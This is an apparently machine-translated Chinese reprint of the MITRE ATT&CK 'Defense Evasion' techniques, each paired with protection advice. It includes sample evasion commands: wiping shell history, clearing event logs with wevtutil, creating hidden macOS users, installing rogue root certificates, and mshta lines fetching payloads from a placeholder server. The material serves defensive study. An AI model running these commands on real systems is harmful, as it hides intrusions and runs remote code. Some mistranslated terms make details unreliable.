学习对抗策略,技巧和常识(ATT @ CK)。 企业策略。 第5部分

防御规避


链接到所有部分:
第1部分。获得初始访问权限(Initial Access)
第2部分。执行
第3部分。紧固(持久性)
第4部分。特权提升
第5部分。逃避防御
第6部分。获取凭据(凭据访问)
第7部分。发现
第8部分。横向运动
第9部分。数据收集(Collection)
第十部分渗透
第11部分。命令和控制

“绕过保护”部分介绍了攻击者可以隐藏恶意活动并防止其被保护工具检测到的技术。 防御旁路技术包括攻击链其他部分的各种技术变体,可帮助克服特定的防御和防御方采取的预防措施。 反过来,防御旁路技术则应用于攻击的所有阶段。

对于使用本文中阐述的信息可能造成的后果,作者概不负责,对于某些表述和术语可能存在的不准确性,我们深表歉意。 发布的信息是对MITER ATT&CK内容的免费转载。

访问令牌操纵


系统: Windows
权限:用户,管理员
描述:攻击者可以使用访问令牌在各种用户或系统安全上下文中执行操作,从而避免检测到恶意活动。 对手可以使用Windows API函数从现有进程复制访问令牌(窃取令牌),为此,他必须处于特权用户(例如,管理员)的上下文中。 访问令牌的失窃通常用于将特权从管理员级别提升到系统级别。 如果该帐户在远程系统上具有必要的权限,则它也可以使用帐户访问令牌在远程系统上进行身份验证。 滥用访问令牌的主要方法有三种。

代币的盗窃和假冒。
模拟令牌是操作系统在安全上下文中启动线程的能力,而不是该线程所属进程的上下文。 换句话说,令牌的拟人化使您可以代表另一个用户执行任何操作。 对手可以使用DuplicateTokenEX函数复制访问令牌,并使用ImpersonateLoggedOnUser在已登录用户的上下文中调用线程,或者使用SetThreadToken将访问令牌分配给流。

使用访问令牌创建进程。
攻击者可以使用DuplicateTokenEX函数创建访问令牌,然后将其与CreateProcessWithTokenW一起使用,以创建一个在模拟用户的上下文中运行的新进程。

获取和模拟访问令牌。
具有用户名和密码的对手可以使用LogonUser API函数创建登录会话,该函数将返回新会话的会话访问令牌的副本,然后使用SetThreadToken函数将接收到的令牌分配给流。
Metasploit MeterpreterCobaltStrike具有可操纵访问令牌以提升特权的工具。

保护建议:为了充分利用上述策略,攻击者必须具有系统管理员权限,因此请不要忘记限制普通用户的特权。 任何拥有合法凭据的用户都可以欺骗访问令牌。 限制用户和组创建访问令牌的能力:

GPO:计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:创建令牌对象

还要确定谁可以替换本地或网络服务的过程令牌:
GPO:计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:替换进程级别令牌。

创建BITS职位(BITS职位)


系统: Windows
权限:用户,管理员,系统
说明: Windows后台智能传输服务(BITS)是一种通过使用低带宽的组件对象模型(COM)异步传输文件的机制。 BITS通常由更新程序,即时通讯程序和其他希望在后台运行而不中断其他网络应用程序运行的应用程序使用。 文件传输任务表示为BITS任务,包含一个或多个文件操作的队列。 PowerShell和BITSAdmin工具中提供了用于创建和管理BITS任务的界面。 攻击者可以在执行恶意代码后使用BITS下载,启动然后清除。 BITS任务自动存储在BITS数据库中,而系统不创建新文件或注册表项,但防火墙通常允许BITS。 借助BITS任务,您可以通过创建较长的任务(默认为90天)或在完成BITS任务或错误(包括重新启动OS之后)后调用任意程序来在系统中立足。

保护建议: BITS是一种标准的操作系统功能,很难将其使用与恶意活动区分开,因此保护媒介应旨在防止在攻击链开始时启动恶意工具。 完全禁用BITS可以停止合法软件更新,但是,您可以考虑将对BITS界面的访问限制为特定的用户和访问组,还可以限制BITS任务的生存时间,这是通过更改以下键来设置的:

  • HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows \ BITS \ JobInactivityTimeout;
  • HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows \ BITS \ MaxDownloadTime

打包二进制数据(二进制填充)


系统: Windows,Linux,macOS
说明:某些安全功能通过搜索静态签名来扫描文件。 反对者可以向恶意文件中添加数据,以将其大小增加到超过扫描文件的最大允许大小的值,或者更改文件的哈希值,以绕过通过哈希阻止启动文件的黑名单。

保护建议:通过应用诸如AppLocker ,白名单工具和软件限制策略之类的工具来识别潜在危险的软件。

绕过用户帐户控制


系统: Windows
权限:用户,管理员
描述:有许多方法可以绕过UAC,其中最常见的方法是在UACMe项目中实现的。 定期发现绕过UAC的新方法,例如滥用系统应用程序eventvwr.exe ,该应用程序可以执行二进制文件或高级脚本。 恶意程序也可以嵌入到受信任的进程中,UAC可以通过这些进程在不提示用户的情况下提升特权。

要使用eventvwr.exe绕过UAC,请在Windows注册表中修改密钥:
[HKEY_CURRENT_USER] \ Software \ Classes \ mscfile \ shell \ open \命令

要使用sdclt.exe绕过UAC,需要修改Windows注册表中的项:
[HKEY_CURRENT_USER] \软件\微软\ Windows \ CurrentVersion \应用程序路径\ control.exe;
[HKEY_CURRENT_USER] \软件\类\ exefile \ shell \ runas \命令\ isolatedCommand。

保护建议:从受保护系统的本地管理员组中删除用户。 如果可能,请在UAC设置中启用最高级别的保护。

CMSTP (AppLocker旁路-CMSTP)


系统: Windows
权限:用户
说明: Microsoft连接管理器配置文件安装程序(cmstp.exe)是Windows内置的“连接管理器配置文件安装程序”实用程序。 Cmstp.exe可以将inf文件作为参数,因此攻击者可以准备特殊的恶意INF,以绕过AppLocker和其他锁从远程服务器下载并执行DLL或scriptlet(* .sct),因为cmstp.exe已使用Microsoft数字证书签名。

保护建议:阻止启动潜在危险的应用程序。 监视或完全阻止C:\ Windows \ System32 \ cmstp.exe启动

清除命令历史记录


系统: Linux,macOS
权限:用户
描述:为了方便macOS和Linux系统上的用户,将记录用户在终端中执行的所有命令。 用户可以快速执行以前在另一个会话中执行过的命令。 当用户登录系统时,命令历史记录将保存到HISTFILE变量中指定的文件中。 用户注销后,命令历史记录将保存在用户的主目录〜/ .bash_history中。 命令历史记录文件可能还包含用户以明文形式输入的密码。 攻击者既可以在命令历史记录文件中搜索密码,又可以采取措施防止其恶意活动写入命令历史记录,例如:

未设置HISTFILE;
导出HISTFILESIZE = 0;
历史-c;
rm〜/ .bash_history。

保护建议:防止用户删除或写入bash_history文件可以防止攻击者滥用这些文件;此外,限制用户编辑HISTFILE和HISTFILESIZE变量的权限将保留命令执行日志。

代码签名


系统: Windows,macOS
描述:对代码进行数字签名可为开发人员提供身份验证,并确保文件未被修改。 但是,如您所知,对手可以使用签名将恶意软件伪装成合法的二进制文件。 攻击者可以创建,篡改或窃取数字签名证书。 第一次使用时,用于软件验证的代码签名在Windows,macOS,OS X中使用,由于平台的分散结构,因此在Linux中不使用。 代码签名证书可用于绕过要求仅在系统上执行签名代码的安全策略。

保护建议:在验证数字签名之前,使用软件的“白名单”和选择可靠的软件发布者可以防止在受保护的系统中执行恶意或不受信任的代码。

组件固件


系统: Windows
权利:系统
描述:某些网络犯罪分子可以使用复杂的工具来破坏计算机组件并在其上安装恶意固件,这将在操作系统甚至主系统固件(Bios)外部运行恶意代码。 该技术包括刷新不具有内置完整性检查系统的计算机组件,例如硬盘驱动器。 即使硬盘发生故障和覆盖,带有恶意固件的设备仍可以提供对受攻击系统的持续访问。 该技术旨在克服软件保护和完整性控制的问题。

拦截COM链接和链接(劫持组件对象模型)


系统: Windows
权限:用户
描述: Microsoft组件对象模型(COM)是一种用于基于对象的交互组件创建软件的技术,每个组件可以同时在许多程序中使用。 攻击者可以通过捕获COM链接来使用COM注入可执行的恶意代码,而不是合法的恶意代码。 要拦截COM对象,您需要替换Windows注册表中指向合法系统组件的链接。 对该组件的进一步调用将执行恶意代码。

保护建议:由于COM对象是OS的一部分并安装在系统软件中,因此不建议采取预防措施来防止这种攻击。 阻止对COM对象的更改可能会影响OS和软件的稳定性。 建议使用保护媒介来阻止恶意软件和潜在危险软件。

控制面板项目


系统: Windows
权限:用户,管理员,系统
描述:策略是攻击者使用Windows控制面板元素来执行任意命令作为有效负载(例如Reaver病毒)。 恶意对象可以伪装成标准控件,并使用网络钓鱼附件传递给系统。 用于查看和配置Windows设置的实用程序是Windows控制面板元素的已注册exe文件和CPL文件。 CPL文件实际上是重命名的DLL,可以通过以下方式运行:

  • 直接从命令行: control.exe <file.cpl> ;
  • 使用shell32.dll中的API函数: rundll32.exe shell32.dll,Control_RunDLL <file.cpl>
  • 双击cpl文件。

存储在System32中的已注册CPL会自动显示在Windows“控制面板”中,并在注册表中存储一个唯一的标识符:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpace

有关其他CPL的信息,例如显示名称和cpl文件的路径,存储在该部分的CplsExtended Properties部分中:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \控制面板

通过Shell启动的一些CPL在以下部分中注册:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls文件夹\ {name} \ shellex \ PropertySheetHandlers

保护建议:仅在受保护的文件夹(例如C:\ Windows \ System32 )中限制控制面板项文件的启动和存储,启用用户帐户控制(UAC)和AppLocker以防止对系统进行未经授权的更改。 当然可以使用杀毒软件。

DC阴影


系统: Windows
权限:管理员
描述: DCShadow涉及在被攻击的网络中创建一个伪造的域控制器,借助该功能,攻击者可以使用API​​功能与被攻击的CD进行交互,攻击者可以修改AD数据,包括对SIEM系统未注意到的任何域对象,凭据和密钥的更改。 实施攻击的工具包是mimikatz的一部分。 DCShadow可用于执行SID-History注入攻击并创建后门以进一步整合到系统中。

保护建议:鉴于DCShadow技术是基于滥用AD设计功能的,因此应针对保护向量进行定向,以防止启动攻击工具。 可以通过分析CD复制的网络复制来检测攻击,该复制每15分钟运行一次,但可能是由计划外的攻击者引起的。

DLL搜索拦截(DLL搜索顺序劫持)


系统: Windows
权限:用户,管理员,系统
描述:该技术在于利用算法中的漏洞,由应用程序查找它们需要工作的DLL文件( MSA2269637 )。 DLL搜索目录通常是程序的工作目录,因此攻击者可以将源DLL替换为具有相同文件名的恶意DLL。

当程序将其当前目录安装在远程目录(例如,网络共享)中时,可以对DLL搜索进行远程攻击。 此外,攻击者可以通过替换描述DLL搜索参数的.manifest或.local文件,直接更改搜索和加载DLL的方法。 如果受攻击的程序具有较高的特权,则由其加载的恶意DLL也将具有较高的权限。 在这种情况下,可以使用该技术来增加从用户到管理员或系统的特权。

保护建议:防止远程DLL加载(在Windows Server 2012+中默认启用,并且在XP +和Server 2003+的更新中可用)。 启用DLL的安全搜索模式,该模式将搜索目录限制为%SYSTEMROOT%之类的目录,然后再在当前应用程序目录中执行DLL搜索。

启用安全DLL搜索模式:
计算机配置> [策略]>管理模板> MSS(旧版):MSS:(SafeDllSearchMode)启用安全DLL搜索模式。
对应的注册表项:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ SafeDLLSearchMode。

考虑使用PowerSploit中的PowerUP等工具审核受保护的系统以修复DLL缺陷。 不要忘记阻止恶意软件和潜在危险软件,以及遵循Microsoft的建议

DLL侧面加载


系统: Windows
描述:该攻击基于并行并行执行技术(WinSxS或SxS)的漏洞,其实质是使使用相同代码组件的不兼容版本的应用程序成为可能。 组件装配库位于c:\ windows \ winsxs文件夹中。 每个程序集都应具有与其关联的清单–一个xml文件,其中包含有关程序集的文件,类,接口,库和其他元素的信息。 与劫持DLL搜索的技术相似,攻击者可以挑起用户应用程序以“侧向”加载恶意DLL,该恶意DLL是在程序清单文件中指定的路径。

%TEMP%\ RarSFX%\%ALLUSERS PROFILE%\ SXS;
%TEMP%\ RarSFX%\%ALLUSERS PROFILE%\ WinSxS。

保护建议:定期软件更新,将应用程序安装在受写保护的目录中。 使用sxstrace.exe检查清单文件是否存在较晚的加载漏洞。

反混淆/解码文件或信息


系统: Windows
权限:用户
描述:攻击者可以使用文件和信息的混淆来隐藏恶意代码和入侵留下的工件。为了使用此类文件,反对者使用反向技术对文件或信息进行模糊/解码。这样的方法可能涉及恶意软件,各种脚本或系统实用程序的使用,例如,存在一种已知的方法,该方法用于使用certutil实用程序对隐藏在证书文件中的远程访问工具的可执行文件进行解码。另一个示例是使用copu / b命令将二进制片段收集到恶意有效负载(Payload)中。

有效载荷文件可以被压缩,存档或加密以避免被检测到。有时,可能需要执行用户操作来执行去模糊或解密。用户可能需要输入密码才能打开包含恶意内容的压缩或加密文件或脚本。

保护建议:识别和阻止不必要的系统实用程序或潜在危险的软件,可使用诸如AppLocker和软件限制策略之类的工具对文件进行模糊处理或解密。

禁用安全工具


系统: Windows,Linux,macOS
说明:攻击者可以禁用各种安全功能,破坏事件日志记录过程,注册表项,以使安全工具在恶意活动期间不会启动,或使用其他干扰安全扫描程序或事件报告的方式。

保护建议:确保正确配置了对进程,注册表和文件的访问权限,以防止未经授权的断开连接或干扰安全工具的运行。

剥削国防


系统: Windows,Linux,macOS
权限:用户
说明:与任何软件一样,安全软件可能具有攻击者可以用来禁用或绕过它们的漏洞。

保护建议:定期软件更新,软件漏洞管理过程的开发和实施。使用虚拟化和微细分应用程序可以减少可能利用漏洞的风险。

EWM注入(额外的窗口内存注入)


系统: Windows
权限:管理员,系统
说明:该技术是滥用Windows窗口的额外内存,即所谓的Extra Window Memory(EWM)。 EWM大小为40字节,适合存储32位指针,通常用于指示对过程的引用。攻击链中的恶意程序可以在EWM中放置一个指向恶意代码的指针,该代码随后将由受感染的应用程序进程启动。

保护建议:鉴于EWM注入技术是基于对OS开发功能的滥用,因此,保护​​工作必须针对防止启动恶意程序和恶意工具。优良作法是使用AppLocker,白名单应用程序或应用软件限制策略来识别和阻止潜在危险的软件。

删除文件(文件删除)


系统: Windows,Linux,macOS
权限:用户
说明:攻击者使用的各种工具,恶意软件和其他文件可以在系统中留下黑客活动的痕迹。攻击者可以在入侵过程中删除这些工件文件,以减少检测到攻击的可能性,或者在操作结束时将其删除。攻击者可以使用保证信息销毁的特殊工具(例如Windows Sysinternals Sdelete)和操作系统内置的工具(例如DEL和ipher)使用。

保护建议:如果可能,阻止启动不必要的系统实用程序,第三方工具以及可用于破坏文件的潜在危险软件。

使用文件系统逻辑偏移量读取文件


系统: Windows
权限:管理员
说明: Windows可以允许程序直接访问逻辑卷。具有直接访问权限的程序可以直接将文件读写到硬盘驱动器,分析文件系统的数据结构。此方法绕过文件访问控制和文件系统监视。NinjaCopy之类的实用程序可在PowerShell中执行上述操作。

保护建议:阻止潜在危险的软件。

关守旁路


系统: macOS
权限:用户,管理员
说明:MacOS和OS X使用Gatekeper技术,该技术仅运行受信任的软件。从Internet下载应用程序时,将在文件com.apple.quarantine中设置一个特殊属性,该属性指示Gatekeeper应请求用户许可执行下载的文件。该标志是在将文件保存到磁盘之前设置的,然后,当用户尝试打开文件时,关守会检查相应的标志,如果有,则系统将提示用户确认启动并显示从中下载文件的URL。从USB驱动器,光盘驱动器,儿童驱动器或网络驱动器下载到系统的应用程序不会导致在com.apple.quarantine文件中设置该标志。在影子引导过程中某些实用程序和文件进入了受攻击的系统(逐击驱动技术),也不会导致为Gatekeeper设置标志,从而绕过了代理检查。可以使用以下命令检查隔离标志的存在:xattr /path/to/MyApp.app

也可以使用attr删除该标志,但这将需要特权升级:
sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app

安全建议:除Gatekeeper之外,还应禁止启动未从中下载的应用程序苹果商店。

HISTCONTROL变量


系统: Linux,macOS
权限:用户
说明: HISTCONTROL环境变量表示一个参数列表,用于在用户注销时将命令历史记录保存到〜/ .bash_history文件。例如,ignorespace选项指示没有必要保存以空格开头的行,而ignoreups选项将禁用保存连续重复的命令。在某些Linux系统上,默认情况下指定了ignoreboth选项,这意味着包含了上述两个参数。这意味着与ls不同,ls命令将不会保存在历史记录中。

默认情况下,macOS上不使用HISTCONTROL,但用户可以对其进行配置。攻击者可以仅通过在命令前面插入空格来使用HISTCONTROL参数的功能来保留其活动的痕迹。

保护建议:防止用户更改HISTCONTROL变量,并确保将HISTCONTROL设置为ignoreup,并且不包含ignoreboth和ignorespace选项。

隐藏的文件和目录


系统: Windows,Linux,macOS
权限:用户
说明:在Windows上,用户可以使用attrib命令隐藏文件。指定属性+ h <文件名>即可隐藏文件,或者指定“ + s”即可将文件标记为系统。通过添加“ / S”参数,attrib实用程序将递归应用更改。在Linux / Mac上,用户只需在文件名的开头指定“。”即可隐藏文件和文件夹。之后,文件和文件夹将从Finder应用程序和ls实用程序中隐藏。

在macOS上,可以使用UF_HIDDEN标记文件,这将禁止在Finder.app中显示文件,但不会阻止它们在Terminal.app中看到隐藏文件。许多应用程序会创建隐藏的文件和文件夹,以免使用户的工作空间混乱。例如,SSH实用程序创建一个隐藏的.ssh文件夹,该文件夹存储已知主机和用户密钥的列表。

攻击者可以使用隐藏文件和文件夹的功能,以免引起用户的注意。

保护建议:由于隐藏文件是操作系统的标准功能,因此很难使用此技术。

隐藏的用户


系统: macOS
权限:管理员,root用户
说明:每个macOS帐户都有一个可以在用户创建期间指定的userID。属性/Library/Preferences/com.apple.loginwindow可以选择Hide500Users,隐藏用户ID 500和下方的登录屏幕。因此,通过创建标识符<500的用户并启用Hide500Users,攻击者可以隐藏其帐户:

sudo dscl。 -create /用户/用户名UniqueID 401
sudo默认设置为/Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE


保护建议:如果工作站在域中,则组策略可能会限制创建和隐藏用户的能力。同样,阻止了修改/Library/Preferences/com.apple.loginwindow属性的功能。

隐藏的Windows


系统: macOS
权限:用户
说明:属性plist文件中列出了macOS和OS X上的应用程序启动选项。这些apple.awt.UIElement文件中的标签之一包括从Dock隐藏Java应用程序图标。通常,此标签用于系统托盘中运行的应用程序,但攻击者可以滥用此功能并隐藏恶意应用程序。

保护建议:监视在plist属性中具有apple.awt.UIElement标记的程序列表。

IFEO注入(图像文件执行选项注入)


系统: Windows
权限:管理员,系统
说明:映像文件执行选项(IFEO)机制使您可以运行程序调试器,而不是开发人员先前在注册表中指定的程序:

  • HKLM \软件\微软\ Windows NT \ CurrentVersion \图像文件执行选项/ [可执行文件]
  • HKLM \ SOFTWARE \ Wow6432Node \ Microsoft \ Windows NT \ CurrentVersion \图像文件执行选项\ [executable],其中[executable]是调试器的可执行二进制文件。

像注入一样,[executable]可以通过运行任意代码来增加特权或在系统中立足,从而被滥用。恶意程序可以使用IFEO,通过注册重定向并拒绝各种系统和安全应用程序的调试器来绕过保护。

保护建议:所描述的技术基于对常规OS开发工具的滥用,因此任何限制都可能导致合法软件(例如安全应用程序)的不稳定。防止使用IFEO注入技术的工作应集中在攻击链的早期阶段。您可以通过使用Debug_processDebug_only_this_process

指标封锁


系统: Windows
说明:攻击者可能试图阻止安全工具捕获的各种指标或事件,以进行进一步分析。恶意活动可能包括修改安全配置文件,注册表项或恶意重定向遥测事件。

使用网络活动分析工具时,攻击者可以阻止与向安全管理服务器发送报告相关的流量。这可以通过多种方式来完成,例如,通过停止负责传输遥测的本地进程,在防火墙中创建规则以阻止流向负责汇总安全事件的主机的通信。

保护建议:确保跟踪器和事件发送者,防火墙策略以及其他相关机制受到适当的权限和访问控制的保护。考虑以重复的间隔自动重新启动安全事件转发功能,以及考虑将适当的更改管理应用于防火墙规则和其他系统配置的功能。

从恶意工具中删除指标(从工具中删除指标)


系统: Windows,Linux,macOS
说明:如果隔离了恶意应用程序或以其他方式阻止了恶意应用程序,则攻击者可以确定检测其工具(指示符)的原因,可以通过从指示符中删除指示符来更改工具,并使用保护措施无法检测到的恶意软件的更新版本。一个很好的例子是使用校验和或文件签名检测恶意软件,并使用防病毒软件隔离它们。确定恶意软件已由于其签名/校验和而被防病毒软件隔离的攻击者可以使用软件打包技术或其他修改文件的方法来更改签名或校验和,然后重用此恶意软件。

保护建议:攻击者可以访问系统,并且知道哪些方法和工具受到居民保护的阻止。使用设置安全性和安全性功能的高级方法,探索受保护系统可能受到损害的过程,以便组织有关可能入侵的警告过程。

使用白名单工具(例如AppLocker和软件限制策略)来识别和阻止潜在危险和恶意软件。

首次检测到恶意工具可能会触发针对防病毒系统或其他安全工具的警报。此类事件可能发生在外围,并且可以使用IDS系统,邮件扫描等检测到。初步发现应被视为入侵开始的标志,这需要在初始事件的“地点”之外进行仔细的调查。假设不会对某些防病毒软件事件进行调查,或者分析人员无法将注册的事件与网络上发生的其他活动永久关联,攻击者可以继续攻击。

从主机上卸下指示器(主机上的指示器卸下)


系统: Windows,Linux,macOS
描述:攻击者可以删除或修改在受攻击系统中生成的工件,包括隔离的日志和拦截文件。日志的位置和格式可能因操作系统而异,系统日志记录为Windows事件或Linux / macOS文件,例如/.bash_history和.var / log / *。

有针对性的措施会干扰事件收集的运行,而可能用于检测入侵的警告机制可能会损害安全工具,因此将无法分析安全事件。由于缺乏有关入侵的数据,此类行动可能会使检查和响应过程复杂化。

清除Windows事件日志
Windows事件日志是警报和通知以及系统操作的记录。 Microsoft将事件定义为“系统或程序中需要通知用户或记录的任何重要事件”。事件有三个系统来源:系统,应用程序和安全性。
对手执行与帐户管理,登录帐户,访问目录服务等相关的操作。可以清除事件日志以隐藏其操作。
可以使用以下控制台实用程序清除事件日志:
wevtutil cl system;
wevtutil cl应用程序;
wevtutil cl安全性。

也可以使用其他工具(例如PowerShell)清除日志。

保护建议:使用事件日志的集中存储,以便无法在本地计算机上查看和管理事件日志。如果可能,请在报告事件时最大程度地减少时间延迟,以避免在本地系统上长期存储日志。通过适当的权限和身份验证来保护本地存储的事件的日志文件,限制对手提升特权的能力。在本地存储和传输期间,使用工具来混淆和加密日志文件。监视日志中的事件1102:“审核日志已被删除。”

间接命令执行


系统: Windows
权限:用户
说明:各种Windows实用程序都可以用于执行命令,而无需调用cmd。例如,Forfiles,程序兼容性助手(pcalua.exe),Linux的Windows子系统(WSL)的组件以及其他实用程序,可以使程序和命令从命令行界面,“运行”窗口或通过脚本执行。

攻击者可能滥用上述实用程序来绕过安全工具,尤其是对于任意文件启动,直到通过各种方式(例如,使用禁止使用CMD的组策略)检测到或阻止了它们的活动之前,攻击者都可以滥用它们。

保护建议:使用AppLocker和软件限制策略识别并阻止潜在危险和恶意软件。这些机制可用于禁用或限制用户对可用于间接执行命令的实用程序的访问。

安装根证书


系统: Windows,Linux,macOS
权限:管理员,用户
说明:根证书用于标识证书颁发机构(CA)。 安装根证书后,系统和应用程序将信任根证书链中的所有证书。 证书通常用于在Web浏览器中建立安全的TLS / SSL连接。 如果用户尝试打开提供不可信证书的站点,则会出现一条错误消息,警告用户存在安全风险。 根据安全设置,浏览器可能会禁止连接到不受信任的站点。

在受攻击的系统中安装根证书会使攻击者降低总体系统安全性。 攻击者可以使用此方法隐藏安全警告,用户将通过HTTPS连接到受敌人控制的Web服务器,以窃取其凭据。
外部根证书也可以由软件制造商在软件供应链中预先安装,并与恶意软件和广告软件结合使用,或提供“中间人”攻击以拦截通过安全TLS / SSL连接传输的信息。
根证书也可以克隆并重新安装。 此类证书链可用于对恶意代码进行签名,以绕过用于阻止和检测入侵的签名验证工具。

在macOS上,Ay MaMi恶意软件使用命令/ usr / bin / security add-trusted-cert -d -r trustRoot -k / Library / Keychains / System / keychain path / to / malicious / cert证书设置为系统链。

安全建议: HTTP公钥固定(HPKP)是防止证书链攻击的一种方法。 HPKP假定服务器告诉客户端一组公用密钥哈希,当在给定时间内连接到该服务器时,该哈希应该是唯一受信任的哈希。

Windows组策略可用于管理根证书,并防止非管理员在用户存储库(HKCU)中安装其他根证书:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ SystemCertificates \ Root \ ProtectedRoots \ Flags = 1。

系统的根证书不太可能经常更改,因此,在监视新证书期间,可以检测到恶意活动或确保没有不必要或可疑的证书。 Microsoft通过authroot.stl提供了受信任的根证书的列表。 Sysinternals Sigcheck实用程序可用于转储证书存储的内容(Sigcheck [64] .exe -tuv)并标识Microsoft证书信任列表中未包括的证书。

安装的根证书位于以下部分的注册表中:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ EnterpriseCertificates \ Root \ Certificates
HKEY_LOCAL_MACHINE [HKEY_CURRENT_USER] \软件[\策略] \ Microsoft \ SystemCertificates \ Root \ Certificates

Windows系统中经常使用的根证书子集可用于监视:

•18F7C1FCC3090203FD5BAA2F861A754976C8DD25;
•245C97DF7514E7CF2DF8BE72AE957B9E04741E85;
•3B1EFD3A66EA28B16697394703A72CA340A05BD5;
•7F88CD7223F3C813818C994614A89C99FA3B5247;
•8F43288AD272F3103B6FB1428485EA3014C0BCFE;
•A43489159A520F0D93D032CCAF37E7FE20A8B419;
•BE36A4562FB2EE05DBB3D32323ADF445084ED656;
•CDD4EEAE6000AC7F40C3802C171E30148030C072。

InstallUtil


系统: Windows
权限:用户
说明: InstallUtil是Windows命令行实用程序,可以安装和卸载符合.NET Framework规范的应用程序。 Installutil将随VisualStudio自动安装。 InstallUtil.exe文件由Microsoft证书签名,并存储在以下位置:

C:\ Windows \ Microsoft.NET \ Framework \ v [版本] \ InstallUtil.exe

攻击者可以使用InstallUtil功能代理代码执行并绕过应用程序白名单。

保护建议:您的系统上可能未使用InstallUtil,因此请考虑阻止InstallUtil.exe的安装。

LC_MAIN劫持


系统: macOS
权限:用户,管理员
说明:从OS X 10.8开始,LC_MAIN标头包含在mach-O可执行文件中,它指示执行该二进制代码的入口点。 在早期版本中,使用了两个LC_THREAD和LC_UNIXTHREAD标头。 可以修改二进制文件的入口点,并首先执行恶意添加,然后执行将返回到起点,以使受害者不会注意到任何东西。 二进制文件的这种修改是绕过应用程序白名单的一种方法,因为文件名和应用程序的路径将保持不变。

保护建议:使用仅具有来自受信任开发人员的有效数字签名的应用程序。 修改LC_MAIN标头将使文件签名无效并更改文件的校验和。

Launchctl


系统: macOS
权限:用户,管理员
说明: Launchctl-用于管理已启动服务的实用程序。 使用Launchctl,您可以管理系统和用户服务(LaunchDeamons和LaunchAgents)以及执行命令和程序。 Launchctl支持交互式或从标准输入重定向的命令行子命令:

launchctl Submit -l [labelname]-/到/ thing /到/执行的路径``arg“''arg”''arg“

通过启动和重新启动服务和守护程序,如果launchctl是经过授权的进程,攻击者可以执行代码,甚至绕过白名单,但是,加载,卸载和重新启动服务和守护程序可能需要提升的特权。

安全建议:限制用户权限,以使用组策略创建启动代理和启动启动重传。 使用KnockKnock应用程序, 可以发现使用launchctl来管理Launch Agent和Launch Deamons的程序。

伪装


系统: Windows,Linux,macOS
描述:当合法或恶意的可执行文件的名称或位置受到各种操纵和滥用以规避保护时,就会发生伪装。 几种伪装选项是已知的。
一种选择是将可执行文件放置在普遍接受的目录中,或指定合法受信任程序的名称。 该文件名可能类似于合法程序的名称。 这种屏蔽方法用于绕过基于文件名称或路径信任文件的工具,并欺骗系统管理员。

窗户
最大化的另一种方法是让攻击者使用合法实用程序(例如rundll32.exe)的修改后的副本。 在这种情况下,可以将合法实用程序移至另一个目录并重命名以避免基于监视来自非标准位置的系统实用程序的启动而进行检测。
Windows中滥用受信任目录的一个示例是C:\ Windows \ System32目录。 可以将诸如explorer.exe或svchost.exe之类的受信任系统实用程序的名称分配给恶意二进制文件。

的Linux
屏蔽的下一种方法是使用恶意二进制文件,该恶意文件在启动后将其进程的名称更改为合法,可靠的进程的名称。 Linux上受信任目录的一个示例是/ bin目录,诸如rsyncd或dbus-inotifier之类的名称可以是受信任名称。

安全建议:创建各种安全规则时,请避免基于文件名和路径的异常。 需要签名二进制文件。 使用文件系统访问控制来保护受信任的目录,例如C:\ Windows \ System32。 不要使用工具来限制基于名称或文件路径的程序的执行。

识别并阻止看起来像合法程序的潜在危险和恶意软件。

修改注册表


系统: Windows
权限:用户,管理员,系统
描述:攻击者可以修改注册表以在注册表项中隐藏信息,或在清除入侵痕迹或攻击的其他阶段删除信息。

对注册表某些区域的访问取决于帐户的权限。 内置的Reg实用程序可用于本地和远程注册表修改。 可以使用通过Windows API与注册表交互的其他远程访问工具。

对注册表的更改可能包括隐藏键的操作,例如,通过添加具有空字符名称的键。 通过Reg或API读取此类密钥将导致错误或被忽略。 攻击者可以使用这种隐藏的伪密钥来隐藏有效负载和系统整合过程中使用的命令。

如果远程注册表服务在目标系统上处于活动状态,则也可以更改远程系统的注册表。 通常,攻击者还需要有效的凭据以及访问Windows管理员共享的权限才能使用RPC。

保护建议:注册表中权限的错误设置会导致攻击者可以执行任意代码( 服务注册表权限弱点 )。 确保用户不能更改系统组件密钥。 阻止不必要的系统实用程序和其他可用于修改注册表的软件。 考虑启用注册表审核(事件ID4657),但请记住,使用OSH事件收集服务不会记录使用RegHide之类的工具进行的注册表更改。

姆斯塔


系统: Windows
权限:用户
说明: Mshta.exe(位于C:\ Windows \ System32 \中 )是运行Microsoft HTML应用程序(* .HTA)的实用程序。 HTA应用程序使用InternetExplorer使用的相同技术运行,但在浏览器之外。 由于Mshta绕过浏览器安全设置来处理文件,因此攻击者可以使用mshta.exe代理恶意HTA文件,Javascript或VBScript的执行。 可以通过内置脚本启动恶意文件:

mshta vbscript:关闭(Execute(“ GetObject(”“ script:https [:] // Web服务器/有效负载[。] sct”“)”)))

或直接在URL上:

mshta http [:] //网络服务器/有效负载[。] hta

保护建议: mshta.exe 功能与已达到生命周期尽头的IE的较早版本相关联。 如果您没有使用Mshta.exe,请阻止它。

NTFS文件属性


系统: Windows
说明: NTFS部分包含主文件表(MFT),该文件存储有关卷内容的数据,与文件相对应的行以及其属性的列,包括诸如扩展属性(EA)的属性-64 kb的字符串)和可用于存储任何数据的备用流(备用数据流(ADS)-任意大小的元数据)。 攻击者可以在扩展属性和文件元数据中存储恶意数据和二进制文件。 此技术使您可以绕过某些保护工具,例如基于静态指示器的扫描工具和某些防病毒工具。

保护建议:阻止对EA和ADS的访问可能非常复杂且不合适,并且还会导致标准OS功能的不稳定运行。 指示保护向量以防止启动软件,您可以使用该软件将信息隐藏在EA和ADS中。

删除与网络资源的连接(网络共享连接删除)


系统: Windows
权限:管理员,用户
